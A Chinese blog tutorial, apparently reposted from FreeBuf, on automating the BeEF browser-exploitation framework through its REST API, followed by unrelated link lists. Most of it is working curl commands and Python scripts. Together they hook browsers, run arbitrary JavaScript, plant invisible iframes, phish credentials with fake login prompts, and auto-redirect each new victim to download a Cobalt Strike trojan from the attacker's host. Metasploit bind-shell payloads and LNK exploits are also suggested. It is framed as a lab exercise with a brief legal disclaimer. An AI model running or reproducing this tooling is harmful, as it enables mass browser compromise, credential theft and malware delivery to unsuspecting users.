本文首发Freebuf,属于原创奖励计划,未经许可禁止转载。

http://www.freebuf.com/articles/network/137662.html

一. 前言

  关于BeEF,不再多介绍,它的强大毋庸置疑,利用它我们可以做很多事情。最近的一些实验,需要用beef批量自动进行控制,发现网上也没有过多关于这方面内容的介绍,于是学习了一下它的API,顺便练习一下python编程,这里把自己的学习内容分享下。本文涉及的一些内容可能具有一定的攻击性,请遵守国家法律,禁止用于非法用途。

二. 通过API控制beef

  BeEF从0.4.3.3,版本开始,提供了静态API接口,用户可以通过发送HTTP / JSON请求控制Beef。

  我们可以通过程序,批量自动加载执行某些beef的模块,实现比如自动维持权限,Getshell等功能。

  在后面的正文里,每一个调用模块的示例中,我都会尝试单独编写代码进行测试,最后,我会将各个部分组合起来,实现一个自动化控制的小demo。本文涉及到的所有代码你都可以在这里找到:https://github.com/ssooking/AutoBeef/。进入正题,我们先启动beef。本机IP:192.168.1.133

默认hook js:http://192.168.1.133:3000/hook.js
默认hook页面: http://192.168.1.133:3000/demos/basic.html
默认管理界面: http://192.168.1.133:3000/ui/panel

  当我们启动beef的时候,会自动生成一个静态API key,这个key用于身份认证,我们每次通过API进行控制时,都要添加这个参数值 。需要提到的是,如果你发现后文的API key,session等参数值发生了变化,是因为这篇文章不是一次写完的,测试时因为重新开启beef产生了变化,因此不要纠结,我们应该关注API如何调用。

下面,我们可以创建一个简单的hook页面 ,如xss.html

<html>
  <head>
    <script src="http://192.168.1.133:3000/hook.js"></script>
  </head>
</html>

  我们也可以访问默认hook页面 http://192.168.1.133:3000/demos/basic.html,为了测试,这里我使用了一台虚拟机,本机也使一个浏览器被hook。在管理面板可以看到主机已经上线。

  在控制台,我们能够直接看到被hook的主机,并执行相关攻击模块。那么怎样通过API实现这些功能呢?下面,我们将通过实例进行介绍。在此之前,我们需要知道的是,用于处理我们的API请求的文件,主要存放于beef框架下core目录和core/api目录下,我们可以在该目录下查找并阅读相关源代码,了解功能的实现机制,使用API进行HTTP交互时,默认的交互数据类型为json。

获取API Key

/api/admin/login是用户登录接口,通过该接口登录之后,我们可以得到用于会话认证的API key

我们用curl命令,使用默认的口令提交登录请求,会返回我们的key。这个功能可以被用于后文编写自动化控制脚本。

curl -H "Content-Type: application/json" -X POST -d '{"username":"beef", "password":"beef"}' http://192.168.1.133:3000/api/admin/login

我们可以用下面这样一个简单的小脚本实现,代码也比较简单,不再多废话

#!/usr/bin/env python
# -*- coding: utf- -*-
# ** Author: ssooking import json
import urllib2 def getauthkey(host):
apiurl = host + "api/admin/login"
logindata = {
"username":"beef",
"password":"beef"
}
jdata = json.dumps(logindata) # 对数据进行JSON格式化编码
req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据
response = urllib2.urlopen(req) # 发送页面请求
resdata = response.read() # 获取服务器返回的页面信息,数据类型为str
jsondata = json.loads(resdata) # 把数据解析成python对象,此时返回dict数据
return jsondata['token'] if __name__ == '__main__':
host = "http://192.168.1.133:3000/"
print getauthkey(host)

获取hook主机列表

API中,我们要获取hook主机信息的api接口为:api/hooks。提交请求的格式类似于这样: api/hooks?token=xxxxx。需要的参数token的值是用于身份认证的API key。我们用curl命令发送请求,获取hook主机列表信息。

curl http://192.168.1.133:3000/api/hooks?token=641640ae3ce89c4da45ee98de341f3e858f62bd3

返回了当前hook的主机情况,返回的json数据格式不太友好,作为测试,我们可以使用json代码格式化工具便于查看。

这里是一个不错的在线json编辑工具:http://tool.lu/json/。我们也可以直接在浏览器中访问url,但是后文涉及提交某些必要的参数时,不能使用这种方式。

json代码经过格式化之后,我们可以看到,有两个主机上线。每个上线主机都有id号来表示身份。

 

session参数值是后面通过A{I调用执行beef模块时必须的参数,这个值你也可以在Web控制台的Cookie处找到。

我们也可以通过脚本发送类似的请求实现这个获取这些信息,比如下面这个简单的示例代码

#!/usr/bin/env python
# -*- coding=utf-8 -*-
# ** Author: ssooking import json
import urllib2 def getHookedBrowsers(host,authkey):
f = urllib2.urlopen(host + "/api/hooks?token=" + authkey)
data = json.loads(f.read())
hooked = data["hooked-browsers"]["online"]
print hooked
return hooked if __name__ == '__main__':
host = "http://192.168.1.133:3000/"
key = "e7170da7263c46d8e505ab044017707107a2ee6f"
getHookedBrowsers(host,key)

如果你想知道某个被hook主机的详细信息,只要加上浏览器session值即可,它的请求格式应该是这样的

/api/hooks/浏览器session会话值?token=xxxxxxxxxxxxxxx

再来说说怎样调用模块,这部分功能是由/api/modules.rb控制的

列举可调用的模块信息

我们通过/api/modules接口列举出可以调用的模块

curl http://192.168.1.133:3000/api/modules?token=641640ae3ce89c4da45ee98de341f3e858f62bd3

返回的格式不友好,我们直接在浏览器里访问

我们可以发现,每一个模块都有对应的id号。我们在beef控制台里随便找一个,也可以找到这个id。但是需要注意一下,这个id号会因为你BeEF模块数目的不同有所变化,在编写代码之前你应该确认这个id号。

   如果你请求的格式像这样: /api/modules/130?token=xxxxx , 即modules后面加上了具体的模块id号,那么可以得到这个模块的详细信息,比如需要的参数等

  所以,如果想要调用某个模块,我们只需要知道这个模块的id,并且在发送请求的的时候提供该模块需要的参数即可。

  执行模块时请求的格式是这样的 /api/modules/:session/:module_id (session是被hook的浏览器会话,module_id即为beef模块的id号)

  需要注意的是,提交参数时,Content-Type必须为json类型,字符集为 UTF-8,并且请求的主体内容必须是有效的json数据,这在后文有实例。

执行BeEF模块

  举个调用例子。

  这里使用一个简单的权限维持模块 Confirm Close Tab。这个模块的作用是,受害者在试图关闭选项卡时会向用户显示"关闭确认"对话框,通过这种方式来增加shell的存活时间。相关功能的模块还有 Man-In-The-Browser,Create Foreground iFrame,Create Pop Under。

我们可以看到,这个模块id为177,不需要提供其他参数,那么我们可以用curl模拟这种格式的请求来执行该模块

curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{}' http://xxxxx/api/modules/浏览器session/模块id?token=xxxx

虽然模块不需要额外的参数,但是因为请求主体必须为json格式,所以我们用 -d '{}' 发送空数据。此时beef终端会有执行成功的提示。

如果你没有这个参数,就会报如图中 Invalid JSON input for module '177'  的错误

在浏览器中验证,当我们点击关闭这个页面时,会弹出确认框,说明成功加载了这个模块。

同样的,我们可以编写脚本执行该模块

#!/usr/bin/env python
# -*- coding=utf-8 -*-
# ** Author: ssooking import json
import urllib2 def sendConfirm(host, sessionId, authkey):
postdata = '{}'
url = host + "api/modules/" + sessionId + "/177?token=" + authkey
print "[+] URL: " + url
req = urllib2.Request(url, postdata)
req.add_header("Content-Type", "application/json; charset=UTF-8")
f = urllib2.urlopen(req)
print f.read() if __name__ == '__main__':
host = "http://192.168.1.133:3000/"
sessionId = "tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU"
key = "e7170da7263c46d8e505ab044017707107a2ee6f"
sendConfirm(host,sessionId,key)

来一个带参数的例子,这次我使用的是Raw JavaScript模块,这个模块允许我们在目标浏览器上执行javascript代码。注意,这些javascript代码不能经过特殊编码。

这个模块的id号为169,我们再来看看它需要的参数,通过下面这样的请求获取模块详细信息

http://192.168.1.133:3000/api/modules/169?token=be531aa684a8fd9ae86c36a3b062697706d9f2d5

需要提供的参数名为:"cmd",参数内容是我们要执行的Javascript代码,我们可以用curl构造请求进行测试

curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"cmd":"alert(\ssooking\);"}' http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/169?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d36a3b062697706d9f2d5

因为不能用多个单引号,所以我用alert(/ssooking/)代替,但是没有弹出窗口,不过我使用自己编写的脚本执行这个模块就可以成功执行

#!/usr/bin/env python
# -*- coding=utf-8 -*-
# ** Author: ssooking import json
import urllib2 def execJavascript(host, sessionId, authkey): payload={
"cmd":"alert('Hello ssooking!');"
}
apiurl = host + "api/modules/" + sessionId + "/169?token=" + authkey
print "[+] URL: " + apiurl
jdata = json.dumps(payload) # 对数据进行JSON格式化编码
req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据
req.add_header("Content-Type", "application/json; charset=UTF-8")
response = urllib2.urlopen(req) # 发送页面请求
resdata = response.read() # 获取服务器返回的页面信息,数据类型为str
return resdata if __name__ == '__main__':
host = "http://192.168.1.133:3000/"
sessionId = "ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso"
key = "dadd1be063d3a3b4339d84f5bdbbcbb25616b41d"
print execJavascript(host,sessionId,key)

弹出了窗口

再举个带参数的例子,这次我使用的是Create Invisible Iframe模块,它的功能是创建一个隐藏的Frame。

这个模块的id为174,需要的参数是隐藏的Frame所指向的url地址

先查看一下模块的详细参数

可以看到,这个请求的这个url参数名为"target"。下面进行测试,我们使用python创建一个简单的HTTP服务器

我们用curl构造请求

curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"target":"http://192.168.1.133:8000/"}' http://192.168.1.133:3000/api/modules/tdipkyoT9fqMsMwrW6oc7esUX74rnuOffhe94T4u2DFRlAjhl5CN47gFikTjccC4YPetBtYhszOqb6MU/174?token=32c75b5e91ef4e519da119349d2c0cbd7cd23259

执行成功,python HTTP上成功回显,说明我们在目标的浏览器上创建了一个隐藏的iframe,并使其访问了这个url地址

获取模块执行结果

有些模块执行完毕后,我们需要获取返回的数据,比如凭证欺骗模块Pretty Theft,我们想要获取用户输入的认证口令。

我们使用一个简单的windows凭证认证模板

这时候目标浏览器上会弹出认证框

模拟提交了凭证之后,从beef的执行结果中,我们可以看到欺骗到的密码

下面就通过API调用执行该模块,先看下参数

查看模块详细信息,我们可以知道,需要设置的参数有:欺骗对话框类型"choice",背景风格"backing",Logo的图片地址"imgsauce" ,因此请求示例应该像这样:

curl -i -H "Content-Type: application/json; charset=UTF-8" -d '{"choice":"Windows","backing":"Grey","imgsauce":"http://0.0.0.0:3000/ui/media/images/beef.png"}' http://192.168.1.133:3000/api/modules/ykH80KnJo0NGgTnRF04kwsE9cuXxI7JaxvBbH4diBxWvNrmYnTt99Vp5Bg8UjMb4rHgBQF08k5pFOLso/117?token=dadd1be063d3a3b4339d84f5bdbbcbb25616b41d

  

执行成功,并且返回了模块执行的id为35。假设我们提交的口令是:test333/123456

我们想要获取受害者提供的这些认证信息,这时候,我们需要这样请求:

/api/modules/浏览器session/模块id/command_id?token=xxx

比如

Beef与metasploit联用

  我们当然不能忘记了metasploit这个神器。Beef与metasploit联用,实在是个大杀器。要想在beef加载metasploit,我们首先需要修改默认的配置文件,修改beef下config.yaml文件

把启用metasploit这个选项值改成true

另外,如果你的metasploit安装位置不包含在默认路径里,需要在beef-xss/extensions/metasploit/config.yaml的文件里设置一下

然后我们启动msf加载msgrpc

msfconsole -x "load msgrpc ServerHost=127.0.0.1 Pass=abc123"

重启beef即可加载metasploit模块

  同样的,如果你想调用Metasploit模块,步骤与前面的都一样,先查看改模块的id所需参数等信息,然后构造请求调用这个模块即可,关于metasploit模块调用,因为过两天就要考试了,没有时间做测试,有兴趣的朋友可以试一试。这个是 BeEF-RESTful-API的上一个请求示例。

curl -H "Content-Type: application/json; charset=UTF-8" -d '{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}' -X POST http://xxxx/api/modules/浏览器session?token=xxx

三. 编写自动化控制脚本

  下面我尝试编写一个简单的自动控制hook主机的脚本,批量执行我提前设定的一些模块。我的思路是定时获取hook主机的session信息 ,存放到一个字典里,如果有新上线的僵尸主机的浏览器session,我们就通过API控制这个浏览器执行我们设定好的Beef模块,并把这个session添加到一个列表里,表示已经执行过。如果检测到某个session已经存在于列表中,说明已经执行过,就不再执行。测试的代码中,我用到了三个模块:Confirm Close Tab,Raw Javascript,Redirect Browser。第一个模块用于增加shell存活时间,第二个模块用于执行javascript代码,第三个模块使浏览器进行跳转下载,我把这个跳转地址指向一个Cobalt Strike生成的测试木马,并模拟受害者自动下载并运行恶意软件。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ** Author: ssooking
# ** Name: AutoBeef.py import json
import urllib2
import time hostlist = []
hostdict = {} def getauthkey(host):
apiurl = host + "api/admin/login"
logindata = {
"username":"beef",
"password":"beef"
}
jdata = json.dumps(logindata) # 对数据进行JSON格式化编码
req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据
response = urllib2.urlopen(req) # 发送页面请求
resdata = response.read() # 获取服务器返回的页面信息,数据类型为str
jsondata = json.loads(resdata) # 把数据解析成python对象,此时返回dict数据
return jsondata['token'] def getHookedBrowsersSession(host,authkey):
f = urllib2.urlopen(host + "/api/hooks?token=" + authkey)
data = json.loads(f.read())
hookonline = data['hooked-browsers']['online']
for x in hookonline:
hookid = hookonline[x]['id']
hookip = hookonline[x]['ip']
hooksession = hookonline[x]['session']
if hookid not in hostdict:
hostdict[hookid] = hooksession
print "\n[+] Hooked host id: " + bytes(hookid) + "\n >>> IP: " + bytes(hookip) + "\n >>> Session: " + hooksession def sendConfirm(host, session, authkey):
postdata = '{}'
url = host + "api/modules/" + session + "/177?token=" + authkey
#print url
req = urllib2.Request(url, postdata)
req.add_header("Content-Type", "application/json; charset=UTF-8")
f = urllib2.urlopen(req)
print " >>> [+] Module Confirm Close Tab has been Executed ! "
return f.read() def execJavascript(host, session, authkey): payload={
"cmd":"alert('Hello by ssooking!');"
}
apiurl = host + "api/modules/" + session + "/169?token=" + authkey
jdata = json.dumps(payload)
req = urllib2.Request(apiurl, jdata)
req.add_header("Content-Type", "application/json; charset=UTF-8")
response = urllib2.urlopen(req)
resdata = response.read()
print " >>> [+] Module Raw JavaScript has been Executed ! "
return resdata def redirectBrowser(host, session, authkey):
payload = {"redirect_url":"http://192.168.1.133:8000/plugins.exe"}
apiurl = host + "api/modules/" + session + "/42?token=" + authkey
jdata = json.dumps(payload)
req = urllib2.Request(apiurl, jdata)
req.add_header("Content-Type", "application/json; charset=UTF-8")
response = urllib2.urlopen(req)
resdata = response.read()
jsondata = json.loads(resdata)
print " >>> [+] Module Redirect Browser has been Executed ! "
return jsondata def createIFrame(host, sessionId, authkey):
postdata = '{"target":"http://192.168.1.133:8000/"}'
url = host + "api/modules/" + sessionId + "/174?token=" + authkey
req = urllib2.Request(url, postdata)
req.add_header("Content-Type", "application/json; charset=UTF-8")
f = urllib2.urlopen(req)
print " >>> [+] Module Create Invisible Iframe has been Executed ! "
return f.read() def autoRunModules(host,session,authkey):
#sendConfirm(host, session, authkey)
#execJavascript(host, session, authkey)
redirectBrowser(host, session, authkey) def timeRun(interval,host):
authkey = getauthkey(host)
print "[+] AutoBeef is running...."
print "[+] BeEF KEY is : "+ authkey
print "[+] Base BeEF API URL: "+ host + "api/"
print "[+] Hook URL : " + host + "hook.js"
print "[+] Hook Demo : " + host + "demos/basic.html"
while True:
try:
getHookedBrowsersSession(host, authkey)
for x in hostdict:
if hostdict[x] not in hostlist:
hostlist.append(hostdict[x])
autoRunModules(host,hostdict[x],authkey)
time.sleep(interval)
except Exception, e:
print e if __name__ == '__main__':
beefhost = "http://192.168.1.133:3000/"
timeRun(3,beefhost)

代码比较挫,没有什么要说的,容易遇到问题的地方是处理返回的数据类型,需要注意str,dict,list等数据类型的处理与转换。我先只执行一个Redirect Browser模块  

程序检测到有新的上线控制僵尸,会控制浏览器自动下载我们的恶意程序

一旦受害者点击这个程序,我们即可进一步获得权限。

当受害者运行恶意软件时,我们可以获得进一步控制权

当然我们也可以执行多个模块,你只需要在autoRunModules函数中添加你想执行的模块即可,比如我再测试执行Confirm Close Tab,Raw Javascript两个模块

但是需要注意的是,有些模块功能上是冲突的,不能一起执行,比如刚才的例子Confirm Close Tab和Redirect Browser。

我们可以执行多个模块,运行截图

到这里也就基本差不多了,只要思路够开阔,就有很多好玩的姿势,下面一些好玩的模块:

Create Invisible Frame    + Browser Autopwn :我们可以用metasploit的 Browser Autopwn模块生成一个攻击浏览器的url,然后创建一个隐藏的iframe指向这个url

Raw Javascript : 光是这个就能干很多事,不只是弹框哦~~

Fake Notification Bar ,Fake Flash Update: 伪装浏览器插件,flash升级等,配合执行恶意软件

Pretty Theft: 欺骗认证凭据的,可以试着自己做个模板,哪里能用到?。。报名统计啦,手机投票啦~~

配合一些漏洞

ms10-046 Microsoft Windows Shell LNK Code Execution

CVE-2015-0096 Microsoft Windows Shell SMB LNK Code Execution Exploit

不知道能不能配合永恒之蓝的msf模块~~~~

对于手机,也有很多模块可以使用

关于代码 

如果你要使用AutoBeef,你需要对代码进行一些修改使其适应你的beef平台,比如beef主机地址,某个模块的id等等。你可以根据自己的需要添加相关模块,你也可以对其进行优化,使其更加健壮。其实官方也提供了beefapi的库,你可以在这里找到https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py。通过调用里面的函数,我们也可以很方面地对beef进行控制,但是涉及到执行某个模块时,我们还是需要查看模块详细信息,提供其必要的参数。所以,我建议自己可以动手实现一下,只有这样我们才能进步提高,而且自己写的代码,可以根据自己的需要随时进行拓展修改,遇到问题也能很快解决。

如果你要使用官方提供的beefAPI,你需要把它移植到你的python库中,kali里默认路径是这样:

sudo cp beefapi.py /usr/lib/python2./dist-packages/

使用的时候从beefapi中导入即可,你可以查看帮助或者阅读其源代码

遇到的问题

  测试过程中我使用的是chrome和firefox,并且发现IE,360等浏览器无法正常hook。

四. 最后的话

  只是一句话,不要随便点开一个链接。

参考文章

https://github.com/beefproject/beef/wiki/BeEF-RESTful-API

https://github.com/byt3bl33d3r/BeEF-API/blob/master/beefapi.py

利用BeEF REST API自动化控制僵尸主机的更多相关文章

  1. 白话SpringCloud | 第十一章:路由网关(Zuul):利用swagger2聚合API文档

    前言 通过之前的两篇文章,可以简单的搭建一个路由网关了.而我们知道,现在都奉行前后端分离开发,前后端开发的沟通成本就增加了,所以一般上我们都是通过swagger进行api文档生成的.现在由于使用了统一 ...

  2. 利用Beef劫持客户端浏览器

    利用Beef劫持客户端浏览器   环境: 1.Kali(使用beef生成恶意代码,IP:192.168.114.140) 2.一台web服务器(留言板存在XSS跨站脚本漏洞,IP:192.168.11 ...

  3. 利用百度词典API和Volley网络库开发的android词典应用

     关于百度词典API的说明,地址在这里:百度词典API介绍 关于android网络库Volley的介绍说明,地址在这里:Android网络通信库Volley 首先我们看下大体的界面布局!

  4. Atitit.gui api自动化调用技术原理与实践

    Atitit.gui api自动化调用技术原理与实践 gui接口实现分类(h5,win gui, paint opengl,,swing,,.net winform,)1 Solu cate1 Sol ...

  5. 利用百度语音API进行语音识别。

    由于项目需要,这几天都在试图利用百度语音API进行语音识别.但是识别到的都是“啊,哦”什么的,我就哭了. 这里我只是分享一下这个过程,错误感觉出现在Post语音数据那一块,可能是转换问题吧. API请 ...

  6. 利用Google Speech API实现Speech To Text

    很久很久以前, 网上流传着一个免费的,识别率暴高的,稳定的 Speech To Text API, 那就是Google Speech API. 但是最近再使用的时候,总是返回500 Error. 后来 ...

  7. 利用百度地图API,获取经纬度坐标

    利用百度地图API,获取经纬度坐标 代码很简单,但在网上没找到现成的获取地图经纬度的页面. 就是想,给当前页面传递一个经纬度,自动定位到此经纬度.然后可以重新选择,选择完返回经纬度. 效果如下: 源代 ...

  8. 利用HTML5 Geolocation API在百度地图中显示你的位置

    代码: <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <met ...

  9. 利用未公开API获取终端会话闲置时间(Idle Time)和登入时间(Logon Time)

    利用未公开API获取终端会话闲置时间(Idle Time)和登入时间(Logon Time)作者:Tuuzed(土仔)   发表于:2008年3月3日23:12:38 版权声明:可以任意转载,转载时请 ...

随机推荐

  1. 浅析JavaScript工厂模式

    这里主要介绍两种工厂模式,第一种“简单工厂模式”,第二种“工厂方法模式” 简单工厂模式 1.定义 由一个工厂对象决定对象创建某一种产品对象的的实例.主要用来创建同一类对象. 2.具体需求 现在有一个登 ...

  2. 撸一撸Spring Cloud Ribbon的原理-负载均衡策略

    在前两篇<撸一撸Spring Cloud Ribbon的原理>,<撸一撸Spring Cloud Ribbon的原理-负载均衡器>中,整理了Ribbon如何通过负载均衡拦截器植 ...

  3. PE知识复习之PE合并节

    PE知识复习之PE合并节 一丶简介 根据上一讲.我们为PE新增了一个节. 并且属性了各个成员中的相互配合. 例如文件头记录节个数.我们新增节就要修改这个个数. 那么现在我们要合并一个节.以上一讲我们例 ...

  4. 使用 curl 进行 ssl 认证

    目录 SSL 认证 认证实现 问题解决 curl不支持 https SSL certificate problem, verify that the CA cert is OK curl: (60) ...

  5. 网络协议抓包分析——TCP传输控制协议(连接建立、释放)

    前言 TCP协议为数据提供可靠的端到端的传输,处理数据的顺序和错误恢复,保证数据能够到达其应到达的地方.TCP协议是面向连接的,在两台主机使用TCP协议进行通信之前,会先建立一个TCP连接(三次握手) ...

  6. 【Angular专题】 (3)装饰器decorator,一块语法糖

    目录 一. Decorator装饰器 二. Typescript中的装饰器 2.1 类装饰器 2.2 方法装饰器 2.3 访问器装饰器 2.4 属性装饰器 2.5 参数装饰器 三. 用ES5代码模拟装 ...

  7. [转]【翻译】在Visual Studio中使用Asp.Net Core MVC创建你的第一个Web API应用(一)

    本文转自:https://www.cnblogs.com/inday/p/6288707.html HTTP is not just for serving up web pages. It’s al ...

  8. Sqlserver 2008R2设置数据库只对特定用户可见

    REVOKE VIEW ANY DATABASE TO [public] --这个是取消数据库公开的权限,也就是除了sa角色外任何人都不能查看数据库 Sa可以查看所有数据库, 新建一个名称为test的 ...

  9. Java学习笔记之——集合

    集合是类,用来存储多个数据,有属性.方法 集合是一个可变数组,保存相同元素并且长度可变 1. 体系 (1)Collection:存储一个一个的值 Iterable: Iterable<T> ...

  10. C++系列总结——new和delete

    前言 "new和malloc()有什么区别",这是一个很常见的C++面试题.我的回答是"new等于malloc()后再选择性执行构造函数".执行流程上是这样的, ...